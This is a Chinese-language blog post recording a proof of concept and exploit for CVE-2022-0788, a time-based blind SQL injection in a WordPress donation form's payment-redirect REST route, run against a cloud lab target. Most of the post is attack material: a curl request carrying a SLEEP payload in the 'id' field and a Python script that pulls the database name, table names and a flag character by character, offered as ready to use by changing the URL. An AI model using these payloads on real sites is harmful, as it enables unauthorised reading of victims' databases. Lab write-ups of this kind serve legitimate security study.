准备:
攻击机:win10。
靶机:春秋云镜像-CVE-2022-0788。
写这个的时候在网上想查找下该漏洞的利用方式,没有找到相关的资料,因此记录下自己通过这个靶场的poc与exp。
curl 'http://eci-2ze4uhij7kcjyftbwltx.cloudeci1.ichunqiu.com/index.php?rest_route=/xs-donate-form/payment-redirect/3' \
--data '{"id": "(SELECT 1 FROM (SELECT(SLEEP(5)))me)", "formid": "1", "type": "online_payment"}' \
-X GET \
-H 'Content-Type: application/json'
这里附上exp代码,修改下url就行。
import requests
import time
def time_delay(url, payload,headers):
start_time = time.time()
response = requests.get(url, data=payload,headers=headers)
end_time = time.time()
delay = end_time - start_time
return delay
def time_based_blind_sql_injection(url,headers):
result = []
for i in range(1, 100):
for j in range(32, 126): # r'0123456789abcdefghijklmnopqrstuvwxyz_-{}':
# find db ctfJ
payload = '{"id": "(SELECT 1 FROM (SELECT(SLEEP( (if(ascii(substr(database(),'+str(i)+',1))='+str(j)+',sleep(2),1)))))me)", "formid": "1", "type": "online_payment"}'
# find table
payload = '{"id": "(SELECT 1 FROM (SELECT(SLEEP( (if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),' + str(i) + ',1))=' + str(102) + ',sleep(2),1)))))me)", "formid": "1", "type": "online_payment"}'
payload = '{"id": "(SELECT 1 FROM (SELECT(SLEEP( (if(ascii(substr((select flag from flag limit 0,1),' + str(i) + ',1))=' + str(j) + ',sleep(2),1)))))me)", "formid": "1", "type": "online_payment"}'
delay = time_delay(url, payload,headers)
print('{ ', ''.join(result), ' } ->', i, '-', j, "time_delay:", delay)
if delay > 2:
result.append(chr(j))
print(''.join(result))
break
else:
print("The payload is not vulnerable to SQL injection.")
print('result:', ''.join(result))
if __name__ == "__main__":
url = "http://eci-2ze4uhij7kcjyftbwltx.cloudeci1.ichunqiu.com/index.php?rest_route=/xs-donate-form/payment-redirect/3"
headers = {'Content-Type': 'application/json'}
time_based_blind_sql_injection(url,headers)
标签:CVE,url,delay,headers,2022,time,0788,payload,SELECT
From: https://www.cnblogs.com/upfine/p/17637840.html